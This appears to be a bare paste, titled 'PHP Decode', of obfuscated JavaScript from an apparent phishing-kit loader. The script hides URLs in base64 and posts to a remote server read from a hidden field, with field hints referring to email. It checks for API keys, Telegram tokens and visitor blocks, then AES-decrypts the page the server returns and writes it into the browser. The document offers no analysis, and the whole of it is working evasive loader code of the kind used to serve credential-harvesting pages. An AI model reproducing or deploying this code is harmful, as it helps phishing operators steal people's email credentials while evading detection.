PHP Decode

<?  var v7fa999d9= document.createElement('script'); 
var autograb = 0; 
v7fa999d9.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw==")); 
document.head.append(v7fa999d9); 
 
var v18f0cf89= document.createElement('script'); 
v18f0cf89.setAttribute('src',"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"); 
document.head.append(v18f0cf89); 
 
v7fa999d9.onload=function(){ 
$.support.cors = true 
var vf75abfb5a = atob; 
var vcecfd083b47c = "".split; 
var v220b1593 = [].constructor.constructor(vf75abfb5a("cmV0dXJuIENyeXB0b0pT")); 
var v06f150058142 = vf75abfb5a($('#b64u').val()); 
$.post(v06f150058142,'scte='.concat('') + (autograb == 0 ? '&auto=false' : '') + '&f=WyJlbSIsImVtYWlsIiwiYWRkIl0=') 
	.done(function(vcf626957){ 
	function v3921af0(f){ 
			var O00O1II = vcecfd083b47c.apply(vf75abfb5a(f),[String.fromCharCode(42)]); 
			var O000111 = { 
				OO0O1II: O00O1II[0], 
				OO0OII1: O00O1II[2], 
				OOOOII1 : O00O1II[1], 
				OO0OIII: O00O1II[3], 
			}  
			var OOOOIII = v220b1593().PBKDF2(O000111.OO0OIII, v220b1593().enc.Hex.parse(O000111.OO0OII1), { hasher: v220b1593().algo.SHA512, keySize: 64/8, iterations: 999}); 
			var O00O111 = v220b1593().AES.decrypt(O000111.OO0O1II, OOOOIII, { iv: v220b1593().enc.Hex.parse(O000111.OOOOII1)}); 
			return O00O111.toString(v220b1593().enc.Utf8); 
	} 
     if(vcf626957=='no'){ 
	   document.write('<h1>Please Get an api key to use this page</h1>') 
	 } 
	 else if(vcf626957 == "outdated"){ 
		 document.write('<h1>Please get an updated  version of the page</h1>') 
	 } 
	 else if(vcf626957 == 'token'){ 
		 document.write('Your telegram token not activated') 
	 } 
	 else if(/\{\"block\"\:/.test(vcf626957)){ 
		 bad_res = JSON.parse(vcf626957); 
		 if(bad_res.block){ 
			 document.write('<h1>You were not allowed, because of ' + bad_res.block + '</h1>') 
		 } 
	 } 
	 else{ 
		 try{ 
			 document.write(vf75abfb5a(v3921af0(vcf626957))); 
		 }catch(e){ 
			 document.write('<h1>Cannot write to page</h1>') 
		 } 
	 } 
	}) 
	.fail(function(cd,pg){ 
		document.write("<h1>Unable to connect , Server not found</h1>") 
	}) 
} ?>